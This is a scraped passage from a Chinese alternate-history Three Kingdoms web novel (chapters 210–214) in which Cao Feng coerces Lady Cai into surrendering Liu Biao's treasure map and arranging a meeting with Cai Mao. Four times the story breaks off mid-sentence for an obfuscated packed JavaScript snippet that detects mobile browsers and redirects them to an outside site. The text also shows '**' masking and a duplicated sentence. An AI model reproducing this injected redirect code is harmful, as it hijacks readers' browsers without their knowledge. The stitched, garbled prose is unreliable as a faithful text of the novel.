原原本本、详细地讲述给了徐庶听。 奈何徐庶对曹操及其一家子的恶感早已根深蒂固。 即便听了母亲的讲述,他也只是碍于母亲的严命。 【徐庶极其不情愿地对着曹风草草拱了拱手,从牙缝里挤出几个字:“方才……是徐某鲁莽,误会公子了。还望……公子海涵。”】 语气生硬,毫无诚意。 【随即,徐庶又转过头,目光依旧充满警惕地盯着曹风,对母亲低声道。】 【“娘,您千万莫要轻信此人之言。”】 【“依孩儿看,这极有可能是他们父子二人联手设下的计策,一环套一环,就是为了诓骗您老人家,最终还是要逼我就范!”】 【“我和曹孟德做局?”曹风闻言,仿佛听到了天大的笑话。】 【他摊开双手,又好气又好笑:“徐兄,你如今也在曹操麾下任职,多多少少总能听到些风声吧?”】 【“难道就从未听闻过,我们父子二人关系势同水火?我与他合谋?简直荒谬!”】 【徐庶被曹风这直白的一问,不由得一愣。】 他最近处理公务时,确实隐约听同僚私下议论过曹操与三子曹风之间关系极度紧张。 似乎因为韦婉的病逝,还有曹昂在宛城的战死,父子两人闹得不可开。 第210章 侍女:蔡夫人,公子请你共进夜宵! 【徐庶心里还是没法完全信任曹风。】 【他皱着眉,再次提出疑问:“娘,您可千万别被曹风的花言巧语给骗了。”】 【“凉州那地方,自古以来就是又冷又偏远的苦寒之地,土地贫瘠,风沙又大又猛,还有塞外来自塞外的外族劫掠,老百姓日子过得苦哈哈的。”】 【“怎么可能短短几年治理,就彻底变了个样?”】 【“他嘴里说什么‘生活不比中原差’、‘没人冻死饿死’,根本就是骗人的鬼话!”】 【“他们父子俩,一个德行,都是狡猾奸诈的家伙!只有我效忠的玄德公,以仁德立身,才是真心实意待人的真英雄!”】 【曹风听到徐庶这么推崇刘备,忍不住嗤笑一声,语气里带着几分玩味。】 【“徐元直,你是不是被刘大耳那套‘仁德’的大道理给忽悠傻了?”】 【“不过话说回来,他要能装一辈子仁德,那倒也算得上是真仁德了。”】 【说完,曹风收起笑容,正色道:“咱们也别光耍嘴皮子,不如用事实说话,打个赌怎么样?”】 【“要是你肯去趟凉州,亲眼看看……”】 【“那里确实像我刚才说的那样,繁荣安定,并且老百姓丰衣足食,根本不是什么苦寒之地……”】 【“那你徐元直,就得听我的命令,跟我同心协力,一起对抗曹操!敢不敢赌?”】 【徐庶立刻反问:“那要是不像你说的那样,凉州还是穷山恶水,老百姓活不下去,你又怎么办?”】 【曹风毫不犹豫,声音低沉而有力。“如果凉州有半点地方跟我说的对不上号,我曹风对天发誓!”】 【“一定动用我所有的力量,把你和大娘平平安安送到刘大耳身边!让你达成心愿!”】 徐庶依旧保持着冷静。 【他质疑道:“哼,你说得倒轻松。曹操现在势力那么大,眼线遍布天下各处。”】 【“你有什么本事,能在他眼皮子底下,悄无声息地把我们母子送到千里之外的荆州刘备那里?”】 【面对徐庶的再次质疑,曹风也不生气:“有没有这个本事,光靠嘴说确实不算数。徐兄,等你到了凉州,亲眼见识过之后,我自然会让你开开眼界,看看什么叫真正的实力!”】 曹风这充满挑战意味的话,一下子激起了徐庶骨子里那份江湖游侠的豪气。 【他深吸一口气,下定决心:“好!就照你说的办!”】 天幕上的画面快速流转…… 【曹操击败刘备后不久,荆州牧刘表病逝,荆州内部顿时乱成一团。】 【刘表的长子刘琦和次子刘琮为了继承权争得不可开交。随着刘备的战败,刘琦彻底失去了强有力的外援。】 【刘表的继室蔡夫人,联合了兄长蔡瑁以及蒯越等荆州本地大族,一起拥立了年幼的刘琮接任荆州牧。】 【曹操趁机率领大军继续南下,意图一举拿下荆州,为日后消灭刘备和孙权扫清障碍。】 【在蔡瑁、蒯越等士族官员的极力劝说下,刘琮选择了不战而降,直接向曹操投降。】 【曹操率军抵达襄阳城下后,刘琮带着荆州的文武官员出城迎接,正式献降。】 【曹操兵不血刃便接管了襄阳,收编了荆州的水陆大军十余万人。】 随后,曹操封刘琮为青州刺史。对于之前支持投降的荆州士族们,曹操也依照承诺,大多保留了他们的官职。 【当晚的接风宴席上,曹操的目光毫不掩饰地在蔡夫人身上扫来扫去。】 【几杯酒下肚后,他言语间更是充满了轻佻的挑逗之意。】 【蔡夫人的弟弟蔡瑁坐在一旁,脸上看不出丝毫不满。】 【他只是假装喝醉了,对曹操的言行和姐姐的处境视而不见,充耳不闻。】 【蔡夫人在曹操的威势之下,只能强颜欢笑应付着,心里却**翻涌,暗暗咒骂着这个曹贼。】 宴席结束后,曹操倒没有立刻召蔡夫人侍寝。 有了上次宛城张绣反叛的惨痛教训,曹操这次学谨慎了。 他打算先稳住荆州这些大族,特别是势力庞大的蔡家,等局面完全掌控了,再找机会把蔡夫人带回许都。 虽然宴席上他几次试探蔡瑁的反应,对方似乎对曹操调戏自己姐姐毫不在意,但曹操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003659|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里还是有点打鼓。 【夜深了,刘琮揉着惺忪的睡眼,询问:“娘,您怎么还不去睡啊?”】 【蔡夫人忧心忡忡地摇了摇头,轻轻拍了拍刘琮的背:“琮儿,你困了就先去睡吧。娘再坐一会儿,守着你。”】 【刘琮有些不解:“咱们不是已经投靠曹公了吗?曹公也答应了之前的条件,舅舅还封了大官。娘您还在担心什么呢?”】 【蔡夫人叹了口气,勉强挤出一点笑容对儿子说:“琮儿说得对,娘没什么可担心的。就是有点睡不着。乖,你快去睡吧。”】 【“哦……”刘琮躺下没多久,就沉沉地睡了过去。】 【蔡夫人看着儿子熟睡的脸庞,又轻轻叹了口气,愁绪万千。】 今晚的宴席,她算是彻底看明白了。 指望蔡瑁为了她们母子俩去得罪曹操,那是绝对不可能的。蔡瑁如此,整个蔡家,想必也都是这个态度。 难道自己真的只能委身于曹操了吗? 身处这乱世之中,她一个弱女子似乎别无选择。 可就算委身于曹操,曹操就真的会放过她们母子吗? 青州刺史,听起来好听,远离荆州权力中心,谁知道是不是调虎离山? 【就在蔡夫人心乱如麻,思绪万千的时候,房间的门被人在外面轻轻叩响了。】 【接着,一个熟悉的声音传来,是蔡夫人的贴身侍女瓶儿。】 【“夫人,您要的夜宵,奴婢给您送来了。”】 【蔡夫人不由得皱起了眉头。】 这个瓶儿,平时看着挺机灵,做事也周到,今天这是怎么了?自己什么时候吩咐过要送夜宵? 【她现在心烦意乱,本想出声呵斥,又怕吵醒了刚刚睡着的刘琮。无奈之下,她只好起身走到房门外。】 【只见侍女瓶儿手里端着的托盘上,根本没有什么餐食。】 【只有一封信,静静地躺在盘子里!】 【瓶儿的脸上依旧挂着平日里那种谦卑恭敬的笑容,但她的语气却透着一股不容置疑。】 【“夫人,我家公子特意为您备下了夜宵。请您移步前往。”】 第211章 蔡夫人夜赴青楼 【“公子?什么公子?”蔡夫人以为自己耳朵出了问题,听岔了。】 这个时辰,这个节骨眼上,派人来“请”她吃夜宵的,除了那个想要得到自己的曹操,还能有谁? 蔡夫人早已做好了面对那个老贼的心理准备,甚至盘算着该如何利用自己仅存的资本为儿子刘琮争取一线生机。 难道……曹操这把年纪了,还有什么见不得人的怪癖? 他想装嫩,让手下人都改口叫他“公子”? 蔡夫人脑子里瞬间闪过这个荒谬的念头,自己都觉得可笑。可如果不是这样,萍儿口中这个“公子”又是谁? 谁敢忤逆曹操,私自约自己? 等等?! 事情好像不对劲儿! 萍儿明明是跟了她多年、最贴心的侍女,是她在这深宅大院里为数不多还能说上几句话的人,怎么转眼间就成了…… 成了别人的人? 蔡夫人猛地转头,目光如刀,狠狠看向萍儿。 【一股被亲近之人背叛的怒火和恐慌瞬间激怒了蔡夫人:“你!你这个吃里扒外的东西!”】 【萍儿脸上没有丝毫波动,反而嘴角微微向上弯了一下,“夫人这话可就不对了。”】 【“我本来就是【魅】大人的手下,听从大人的命令行事,跟在你身边。怎么能说是吃里扒外呢?”】 【“【魅】?”蔡夫人心中震惊。】 【“蔡夫人,时辰不早了,您还是快跟我走吧。”萍儿收敛了那点笑意,带着不容置疑的催促,“要是让公子等急了,心生不快,过会儿来‘请’您的,可就不会是我这样好说话了。”】 【蔡夫人回头,充满担忧地望向卧房紧闭的房门。】 儿子刘琮就在里面安睡。 在这乱世之中,她最在乎的,唯一能让她牵肠挂肚的,只剩下这个儿子了。刘表病死后,能保护儿子的也仅剩下她一个人。 她走了,琮儿怎么办? 【萍儿捕捉到了蔡夫人的眼神变化,轻笑了一声:“夫人放心好了。我家公子做事向来言出必行。他说了会保刘琮公子平安无事,那就一定保得住。不过嘛……”】 【萍儿话锋一转,语气里带上了明显的威胁,“您要是去晚了,让公子等得不耐烦了,那刘琮公子的安危……可就不一定了。公子耐心有限。”】 【“你!”蔡夫人气得胸口起伏。】 但她知道,此刻的愤怒毫无用处,反而可能害了儿子。 【她目光扫过萍儿端着的托盘。那托盘上没有晚餐,只有一份烫金的请帖。】 【蔡夫人没有立刻挪步,而是深吸一口气,伸手拿起托盘上的请帖。】 【展开请帖,借着廊下昏黄的灯笼光,她看清了上面的字迹。】 【蔡夫人瞬间瞪大了眼睛,满脸的不可思议!】 请她赴宴的不是曹操! 竟是曹操那个最不成器、声名狼藉的三儿子曹风? 地点居然选在襄阳城里最有名的青楼“醉仙楼”? 蔡夫人心里忍不住暗骂: 果然是上梁不正下梁歪! 老曹贼生了个小曹贼,都是一路货色,好色无道,荒唐透顶了! 关于曹风的那些传闻,在她脑海里闪过: 横行霸道,欺男霸女,整天不是在赌坊挥霍,就是泡在青楼楚馆里醉生梦死,是出了名的纨绔败家子。 【蔡夫人把那份烫手的请帖重新放回托盘。】 【“罢了……带路吧!”她声音里透着浓浓的无力感。】 为了琮儿,龙潭虎穴也得闯一闯。 【当蔡夫人跟着萍儿,穿过深夜寂静却暗流涌动的襄阳街道,来到灯火辉煌、欢快之声隐隐飘出的醉仙楼时,心中那份对曹氏父子的鄙夷更深了。】 【最终踏上那传说中的顶楼时,饶是她出身荆州大族蔡氏,见惯了富贵,也不由得心中感叹。】 真不愧是曹操的儿子! 当真是花钱如流水,不把银子当钱看! 醉仙楼本就是襄阳城最顶尖的销金窟。 蔡夫人知道,别说这神秘莫测的顶楼了,就是去中下层随便一个雅间,没个千金之数也休想下来。 至于这顶楼“摘星阁”,她更是只闻其名,从未听说有哪位达官显贵真正上来过。 就连她那在荆州手握重兵、权势滔天的哥哥蔡瑁,据说几次想上来见识见识,都被婉拒了,连门都没摸着。 这地方,俨然成了襄阳城身份和权势的一个隐形标杆。 【顶楼的走廊异常安静,与楼下的喧嚣形成鲜明对比。】 【萍儿在一扇雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003660|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻着繁复云纹的紫檀木门前停下,有节奏的叩了几下。】 【门无声地从里面打开了。】 【走出来两个身姿窈窕、气质迥异的年轻女子。】 【一个穿着素雅的青色衣裙,面容冷峻,眼神锐利。】 【另一个则是一身火红的衣裙,笑容明艳,像一团跳动的火焰。】 【萍儿立刻躬身,态度比刚才对蔡夫人还要恭敬百倍:“属下萍儿,见过青鸾大人、红鸢大人。”】 【那青衣女子,青鸾,只是冷冷地“嗯”了一声。随后目光像两把刀子,毫不客气地在蔡夫人身上来回扫视,从头到脚,不放过任何一寸地方。】 【那目光仿佛带着穿透力,要将她的衣衫都看穿,确认她身上是否藏匿着哪怕一根针般细小的、能伤害到“公子”的暗器】 【红衣女子红鸢则截然相反,她热情地上前一步,亲昵地拉起萍儿的手。】 【红鸢将一个做工极其精美的锦囊塞到萍儿手里,声音清脆悦耳:“萍儿妹妹辛苦了。这是公子赏你的,公子说你差事办得利落。”】 【萍儿脸上瞬间受宠若惊,朝着那扇敞开的房门内,无比恭敬地行了一个大礼:“属下谢公子厚赏!”】 【青鸾目光从蔡夫人身上收了回来,她没有发现任何异常,这才侧开身子。】 【青鸾声音依旧没什么温度:“蔡夫人,请进吧。”】 语气与其说是邀请,不如说是命令。 蔡夫人定了定神,努力维持着世家夫人的仪态,迈步走进了这间传说中的“摘星阁”。】 【一进门,扑面而来的是一种更加浓郁的暖香,混合着淡淡的酒气。】 【房间极大,透着一股雅致。】 【四壁挂着山水古画,应该是出自名家之手。】 【角落里的青铜香炉正袅袅吐着青烟。】 【房间中央,一个模样年轻、长相颇为俊朗的少年,正毫无正形地斜倚在主位。】 【姿态慵懒而随意,透着一股玩世不恭的劲儿。】 【他旁边跪坐着一个身姿曼妙的女子,脸上蒙着一层薄如蝉翼的轻纱,正用一双白皙如玉的手,专注而优雅地为少年面前的玉杯斟酒。】 这少年自然就是曹操的三子曹风,至于那个蒙面女子,蔡夫人却猜不出。 第212章 夫人请自重! 【曹风见到蔡夫人进来,随意地指了指对面的一张紫檀木椅。】 【“夫人总算来了,快请坐。深更半夜的,把您从府里请出来吃这顿夜宵,确实有些冒昧,不合礼数。”】 【曹风端起酒杯抿了一口,继续道:“主要是过了今晚,我就要离开襄阳城了,再想找个机会跟夫人好好聊聊,恐怕就不太方便了。事急从权,还请夫人多多体谅。”】 蔡夫人看着曹风那副懒散随意的样子,听着他貌似客气实则暗含命令的话语,心中冷笑。 但她面上并未显露过多情绪,也没有故作姿态的扭捏。 她很清楚,在这种地方,又面对曹风这种人,任何矫情都显得可笑。 【她挺直脊背,径直走到那张紫檀木椅前,姿态端庄地坐了下去。】 【蔡夫人开门见山地说:“没什么好体谅的。公子有什么事,就请快点直说吧。夜已深,我还得赶回去照顾儿子。”】 曹风很欣赏蔡夫人的直接。 【他哈哈一笑,随手将自己面前一杯刚斟满的美酒,轻轻推向了蔡夫人面前。】 【曹风身体微微前倾,轻描淡写道:“夫人,你也不想刘琮出事吧?”】 【蔡夫人“腾”地一下从椅子上弹了起来,脸色瞬间煞白,又因极度的愤怒而涨得通红。】 【她伸手指着曹风,手指因为激动而剧烈颤抖。】 【蔡夫人声音陡然拔高:“曹风!你敢动我儿子一根汗**!我、我一定……”】 蔡夫人后面的话硬生生卡住了,原本陡然升起的气势也迅速降了下去。 她猛然意识到,自己的威胁十分无力。 眼前这个看似懒散的少年,是曹操的儿子! 就算外面有再多传言说他们父子不和,可在这襄阳城里,在曹操的大军眼皮底下,谁敢动他曹风? 曹操为了自己的脸面和权威,也绝不会允许别人在他的地盘上伤他儿子半根毫毛! 她蔡家?她蔡夫人? 在绝对的实力面前,又算得了什么? 她拿什么去“一定”? 曹风没有立刻接话,只是好笑的看着蔡夫人。 【倒是旁边那位一直安静倒酒、仿佛只是个美丽背景的蒙面女子,此刻却冷冷地开口了。】 【她的声音清脆悦耳,带着寒意:“蔡夫人若是用这种态度来赴我家公子的宴,言语威胁,恐怕……”】 【“今晚就走不出我的这间‘摘星阁’了!”】 【蔡这才真正将目光聚焦到那个轻纱遮面的女子身上。】 【蔡夫人努力让自己的声音听起来强硬一些:“哼!这里是襄阳城!我蔡家的威严还在!”】 【“我兄长蔡瑁依旧手握荆州水军,难道还比不上你一个开青楼的?”】 可这话说出来,连她自己都觉得有些底气不足。 【“啪!”】 【一声清脆的拍击声响起。】 【只见貂蝉将一把寒光闪闪的**,轻轻地拍在了她面前的矮几上。】 【“哼!夫**可以再威胁公子一句试试。看我敢不敢送你上路。”貂蝉的目光透过薄纱,冷冷地落在蔡夫人脸上,如同在看一个**。】 【蔡夫人心里顿时虚得发慌,她再不敢与貂蝉那冰冷的目光对视。她慌忙移开视线,转而望向依旧带着玩味笑容的曹风。】 她看出来了,这个女人是听命于曹风的。 【她深吸几口气,强迫自己冷静下来:“公子……到底有什么事?还请明示。”】 蔡夫人终于彻底放下了那点可怜的世家夫人的架子。 【曹风不由得摇头失笑:“夫人何必如此紧张呢?我只是想要夫人你……”】 【“休想!”曹风的话还没说完,就被蔡夫人一声充满**和愤怒的声音打断了。】 【蔡夫人再次对曹风怒目而视,仿佛受到了莫大的侮辱,“果然跟你爹是一个德性!卑鄙无耻!你休想打我的主意!我宁死也不会从你!”】 蔡夫人心里清楚,自己现在唯一还能勉强和曹操周旋、试图保全儿子的筹码,或许就只剩下这点姿色和身份了。 如果让曹操知道她和曹风这个出了名的浪荡子有了不清不楚的关系,以曹操多疑狠辣的性格,绝对会毫不犹豫地杀了她和琮儿,以绝后患! 更何况,曹风这个众所周知的纨绔子弟,除了吃喝玩乐,还有什么本事? 他根本没能力、也绝不会为了她们母子去对抗他那个权倾天下的父亲! 【曹风知道她完全想岔了,冷笑道:“夫人,请自重!”】 【就在这时,一直冷眼旁观的貂蝉,忽然抬手,用纤纤玉指轻轻勾住了自己脸上的轻纱边缘。】 【她缓缓将面纱摘了下来。】 【一张足以令星辰失色、让月光黯淡的绝世容颜,毫无保留地呈现在蔡夫人面前。】

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16008658|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【眉如远山含黛,眼似秋水横波,琼鼻秀挺,朱唇一点。】 【貂蝉的美,不仅仅在于五官的精雕细琢,更在于那浑然天成的气韵。】 【尤其是那双眼睛,清澈见底,仿佛能看透人心。】 【貂蝉微微侧首,带着一丝毫不掩饰的嘲讽,看向惊愕失神的蔡夫人:“夫人在襄阳城里,倒也算是有几分姿色,勉强能入人眼。”】 【她顿了顿,语气中的轻蔑更浓了,“可惜,就凭这点颜色,还远远入不了我家公子的眼。公子见过的绝色,比你想象的要多得多。”】 在美貌这件事上,除了甄宓和杜芷,貂蝉有着绝对的自信,不输给这天下任何女子! 【蔡夫人看到貂蝉真容的那一刻,大脑一片空白,整个人都僵住了。】 她自诩美貌,在荆州也是数得着的名媛贵妇,可此刻,在这张脸面前,她生平第一次感到了什么叫自惭形秽,什么叫云泥之别! 世间竟真有如此绝色?! 恐怕……恐怕就是那位传说中倾国倾城的貂蝉,也不过如此了吧? 确实,曹风身边日夜相伴着这样的绝世尤物,自己这点早已不再年轻的姿色,在对方眼中,恐怕真的不值一提。 自己刚才那番反应,简直像个笑话! 蔡夫人没见过貂蝉,并且听闻貂蝉当年早就丧命了,因此也没认出来。 【曹风把刚才被打断的话说完:“夫人误会了。”】 【“我今晚请你来,只想要三样东西。”】 【“第一样,是你那亡夫刘表刘景升,生前秘密藏匿起来的那笔巨额宝藏!”】 【“第二样,是他当年为了给自己续命,费尽心机、四处搜罗来的那些珍稀药材!”】 救郭嘉那个无底洞,实在是太烧钱了! 曹风感觉自己快被掏空了。 【“你……你……”蔡夫人眼睛瞪得滚圆,脸上写满了极致的震惊和不可思议。】 【“你……你怎么会知道……景升有宝藏?!”】 这件事,是刘表临死前,在病榻上,摒退了所有下人,只单独告诉她的秘密! 他千叮咛万嘱咐,这是留给儿子刘琮在乱世中安身立命的最后保障! 这世上,应该只有她和死去的刘表两个人知晓才对! 曹风怎么可能知道?! 这比知道【魅】的萍儿潜伏在她身边,更让她感到震惊! 第213章 曹风的第三个条件:见蔡瑁 曹风对蔡夫人的震惊表情并不感到意外。 毕竟她始终认为,当时密室之内只有她与刘表二人而已,绝无第三双耳朵能**这个秘密。 如今宝藏的事情竟从曹风口中吐出,怎能不叫震惊? 【曹风开口:“那些压箱底的珍稀药材,你留着也是没有任何用处。至于刘景升费尽心机藏下的那些宝物……”】 【他语气陡然转冷,给蔡夫人带来了压迫感。】 【“就凭你,守不住!与其日夜悬着心,最终人财两空,不如痛痛快快地交出来。”】 【“从我这里,换你和你那宝贝儿子刘琮一条生路,安安稳稳地活下去。”】 【“这笔交易,夫人觉得如何?”】 【蔡夫人深深吸了几口气,才勉强维持住声音的平稳:“呵,若真是如此,妾身倒不如直接将那宝藏献予你父亲。”】 【“曹操坐拥中原,雄兵百万,交予他,总比交予公子你,更令人心安吧?”】 【曹风摇了摇头,嘴角透出毫不掩饰的轻蔑,“原本还以为你是个明白人,懂得审时度势。如今看来,也不过是个不识时务、冥顽不灵的蠢货罢了。”】 【“你……!”蔡夫人何曾受过如此当面羞辱,尤其对方还是那个声名狼藉的曹家三公子!】 【她那双原本妩媚的美眸,瞬间因怒火而圆睁。】 【然而,那个“你”字的尾音还未完全落下,她未出口的斥骂和气势,都在瞬间消失,只剩下恐惧和无力。】 【一柄闪着寒芒的**,毫无征兆地贴上了她白皙的脖颈。】 【锋利的刃口距离她跳动的颈动脉,不过毫厘。】 【青鸾不知何时已握着**,鬼魅般出现在她的身侧。】 蔡夫人刚才那一瞬间的强硬,存着试探之心。 试探曹风是否真有胆量在曹操的眼皮子底下,对她构成生命威胁。 青鸾的**,用最直接方式给了她一个答案。 蔡夫人此时心里清晰,如果自己不交出藏宝图,恐怕真的无法活着踏出这间屋子了。 恐惧彻底压倒了她心中的愤怒和不甘。 【她认命般闭上了眼睛,再睁开时,里面只剩下**。】 【颤抖着手,她缓缓探入自己华贵的衣襟内层,摸索片刻,终于取出了一张折叠得极薄的绢帛。】 【那绢帛还带着她身体的温热。】 【她双手微微发颤,将这张薄绢,递向端坐主位的曹风。】 曹风却没有伸手去接。】 【坐在他身侧的貂蝉,向前倾身,从蔡夫人手中接过了那张轻飘飘却又重逾千斤的藏宝图。】 【貂蝉目光在绢帛上迅速扫过,确认无误后,便将其转交给了一旁的红鸢。】 【红鸢接过地图,心领神会,微微颔首,随即一言不发,转身离开了房间,消失在门外。】 【随着红鸢的离去,房间内陷入一片死寂。】 【最终还是蔡夫人沉不住气,率先打破了沉默。】 【她努力让自己的声音听起来平静一些,沙哑问道:“公子方才只提了两件事——药材,宝藏。那……第三件事呢?”】 【曹风慢条斯理地将手中一直把玩着的酒杯凑到唇边,将里面美酒一饮而尽。】 【“把你兄长蔡瑁,给我约出来。明日午时,就在此地,我要见到他。”】 【“什……什么?!”曹风的话音刚落,蔡夫人刚刚平复些许的心神再次被搅乱。】 她难以置信地看着曹风,仿佛在看一个彻头彻尾的疯子! 曹风竟然胆大包天,敢在曹操的眼皮子底下秘密约见她这个敏感人物,现在还要私下会见手握重兵的蔡瑁?! 他到底想干什么? 哪来的这么大底气?! 蔡夫人的心思急转。 她太清楚曹操的态度了。 曹操对她,不过是贪图美色,把她当作一件可以随意**的战利品,根本谈不上什么重视,随时都能丢弃。 但对她的兄长蔡瑁,那可完全不同! 荆州刚刚归附,局势尚未稳定。蔡瑁手握十万精锐水军,又是荆州本地根深蒂固的豪族领袖,曹操对他极其重视,甚至可以说是刻意拉拢。 曹操需要蔡家的全力支持,更需要蔡瑁的效忠,这样才能真正稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16013669|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固他在南方的统治根基。 他绝不允许任何人动摇自己在荆州的地位。而曹风竟敢私自会见蔡瑁,这简直是在挑战曹操本就敏感的神经。 蔡夫人没有立刻答应曹风。她不知道曹风究竟想干什么,更担心他可能会连累她们母子。 难道曹风想拉拢蔡瑁,借此掌控蔡家在荆州的势力? 可他只是个被曹操发配到凉州荒凉之地的“弃子”,要荆州的话语权有什么用? 这对他能有什么好处? 难不成他还敢打荆州的主意? 短短几句交谈,蔡夫人就敏锐地察觉到,眼前这个传闻中荒唐无能的曹家三公子,心机、手段和胆量都远超外界传言。 短短几句交谈,蔡夫人就敏锐地察觉到,眼前这个传闻中荒唐无能的曹家三公子,心机、手段和胆量都远超外界传言。 至于曹风有没有挑衅曹操的实力…… 或许很快就能见分晓了。 就算曹风拿到了藏宝图,刘表生前精心布置的那些秘密宝藏,也不是那么容易到手的。 那里头不光藏着致命的机关,外围还埋伏着不少暗哨。想要硬闯,只怕连入口都摸不到,就得把命搭上。 同时,要是曹风真能说动蔡瑁…… 那更能说明曹风远没有传闻和看上去的那么简单! 想到这里,蔡夫人心底竟涌起一丝扭曲的期待—— 她倒希望曹风足够厉害,足够强大! 只有他能与曹操抗衡,她和儿子刘琮的安全才有保障。 当然,前提是曹风得是个守信之人,而不是另一个翻脸无情的曹操。 纷乱的思绪在脑中快速闪过。 【最终,蔡夫人深吸一口气,像是下定了决心。】 【她缓缓点头:“好,我可以帮你约家兄出来。不过……”】 【她话锋一转,“你们谈话时,我必须在场。公子放心,我只听不说,但求个明白。”】 她必须知道曹风的底牌,也要看清兄长的反应。 【曹风无所谓地耸耸肩,随口应道:“可以!”】 爽快得让蔡夫人有些意外。 第214章 蔡瑁:我竟然在自己的地盘被欺负了! 【三个多时辰过去,窗外的天色已经渐亮。】 【蔡夫人眼神频频飘向那扇紧闭的门。】 她无比担忧还在府中的儿子刘琮,对此时的她,每一分每一秒都是煎熬。若是儿子醒来,发现在自己不在,一定会很焦急。 再说,这府里已经不安全了。说不定曹操的探子早就混了进来,随时都可能对琮儿下手。 然而她心里很清楚—— 在曹风确认藏宝图的真伪、拿到他想要的宝藏之前,绝不会放她离开这个房间半步。 【时间一分一秒地流逝,就在蔡夫人即将崩溃的边缘,那扇被她望眼欲穿的房门终于“吱呀”一声打开了。】 【红鸢的身影出现在门口,脸色有些苍白。她右臂上缠着绷带,暗红的血迹已经渗透了白布。】 【显然,这次取宝很凶险,她负伤了。】 【红鸢步履依旧稳健,径直走到貂蝉身边,俯身在其耳畔低语了几句。】 【貂蝉安静地听着,脸上看不出什么表情,她只是轻轻点了点头,随后转向曹风,也对他点了点头。】 刘表的宝藏得手了! 【曹风朝蔡夫人摆了摆手:“可以了。夫人可以回去了。刘表留下的那些珍贵药材,我会派人去取。记住,明日午时,我要见到蔡瑁——别误了时辰。”】 蔡夫人如蒙大赦,哪里还敢有半分停留? 她几乎是立刻从座位上弹了起来,头也不回地冲出了房间,身影迅速消失在走廊尽头,朝着自己的府邸而去。 回府的路上,蔡夫人心中震惊不已—— 曹风竟然真的拿到了刘表的宝藏,而且只用了几个时辰就办成了。他的实力,比她想象的还要深不可测。现在看来,这反而对她有利。 蔡夫人因此下定决心,一定要尽全力帮曹风把蔡瑁约出来。和曹风交好,眼下就是她最好的选择。 …… 【另一边,曹风盯着红鸢胳膊上的伤口,脸色阴沉:“遇到高手了?”】 【红鸢点了点头:“回来的路上,在江面碰上一伙锦帆贼。为首那个挂着铃铛的男人,确实有些本事。要不是我们人多,加上史阿出手,恐怕……”】 【曹风微微点头,语气温和道:“我这儿有华佗配的金疮药,敷上后好得快,还不会留疤。”他顿了顿,眼中闪过一丝冷意,“我知道是谁伤了你,这个仇,我会替你报。”】 【红鸢原本苍白的脸上泛起红晕,俏皮一笑:“是公子亲自帮我敷药吗?”】 【一旁的貂蝉打趣道:“要不今晚你来照顾公子起居?”】 【红鸢一听,顿时脸红到了耳根,转身就往外跑,连金疮药都忘了拿。】 曹风则彻底放松下来。最近巨大的精神消耗加上整夜未眠,让他疲惫不堪。 【直到日上三竿,接近午时,曹风才被貂蝉轻声唤醒。】 【“公子,蔡瑁来了。”貂蝉的声音平静无波。】 【曹风揉了揉眉心,眼中迅速恢复了清明。】 好戏,才刚刚开始。 【青楼顶层的一个奢华的包间内,蔡瑁正襟危坐。】 【昨晚宿醉带来的头痛还未完全消退,但此刻他脸上全无半分酒意,只有凝重。】 这座青楼的顶层,即便是他这样的荆州实权人物,曾经费尽心思、动用无数关系,也始终未能踏入。 今日,他终于如愿以偿地坐在这里。 然而,蔡瑁的心中却无半分喜悦,反而像是压着一块千斤巨石。 因为“请”他来的方式,以及约他之人的身份,都让他感到极度的不安和**。 与其说是“约”,不如说是被“绑”来的! 【当他的妹妹蔡夫人清晨匆匆回府,告知他曹风要见他时,蔡瑁的第一反应是荒谬,第二反应便是巨大的警惕。】 曹风? 那个被曹操厌弃、丢到凉州自生自灭的废物三公子? 他找我做什么? 尤其是在昨夜盛大的接风宴上,他蔡瑁刚刚当着荆州众文武的面,向曹操表达了效忠之意! 此刻若私下会见曹操极不待见的儿子曹风,消息一旦泄露,传到曹操耳中,会作何感想? 这简直是自寻死路!< 